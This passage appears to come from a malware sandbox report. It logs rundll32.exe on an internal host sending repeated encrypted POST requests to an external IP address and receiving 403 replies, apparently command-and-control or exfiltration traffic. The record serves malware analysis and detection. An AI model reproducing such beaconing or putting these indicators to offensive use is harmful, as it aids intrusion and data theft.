2021-10-28 03:04:26 UTC	98	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:04:26 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49754	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:03:52 UTC	9	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:03:52 UTC	9	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:03:53 UTC	19	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:03:53 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.3	49832	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:04:28 UTC	98	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:04:28 UTC	98	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:04:29 UTC	103	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:04:29 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.3	49834	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:04:29 UTC	103	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:04:29 UTC	103	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:04:30 UTC	108	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:04:30 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.3	49840	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:04:32 UTC	108	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:04:32 UTC	108	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:04:33 UTC	113	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:04:33 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.3	49842	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:04:33 UTC	113	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:04:33 UTC	113	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:04:34 UTC	118	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:04:34 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.3	49852	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:04:36 UTC	118	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:04:36 UTC	118	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:04:37 UTC	123	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:04:37 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.3	49855	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:04:37 UTC	123	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:04:37 UTC	123	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:04:38 UTC	128	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:04:38 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.3	49861	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:04:40 UTC	128	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:04:40 UTC	128	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:04:41 UTC	133	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:04:41 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.3	49863	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:04:41 UTC	133	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:04:41 UTC	133	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:04:42 UTC	138	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:04:42 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.3	49870	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:04:44 UTC	138	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:04:44 UTC	138	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:04:44 UTC	143	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:04:44 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.3	49872	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:04:45 UTC	143	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:04:45 UTC	143	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:04:46 UTC	148	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:04:46 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49756	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:03:53 UTC	14	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:03:53 UTC	14	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:03:53 UTC	19	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:03:53 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.3	49878	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:04:48 UTC	148	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 03:04:48 UTC	148	OUT	Data Raw: eb cc f5 4d 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: M#PWLi'Q\ehW"=\I_)"~cP7Y=k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:04:48 UTC	153	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:04:48 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.3	49880	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:04:49 UTC	153	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 03:04:49 UTC	153	OUT	Data Raw: 78 c1 3c 85 10 0c 23 a0 50 b2 57 a3 4c 69 17 c0 e2 a2 27 fa ab ff f5 16 51 12 80 c8 8f 5c ca 18 f6 a4 b9 65 68 57 d9 bf c7 a9 f3 e9 d4 18 95 df a5 b4 22 3d c3 5c 1d 49 5f 29 8b 06 22 13 7e a7 63 a7 9d 50 14 f5 37 95 59 e8 8d 3d 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: x<#PWLi'Q\ehW"=\I_)"~cP7Y=kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 03:04:49 UTC	158	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 03:04:49 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.3	49886	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 03:04:51 UTC	158	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
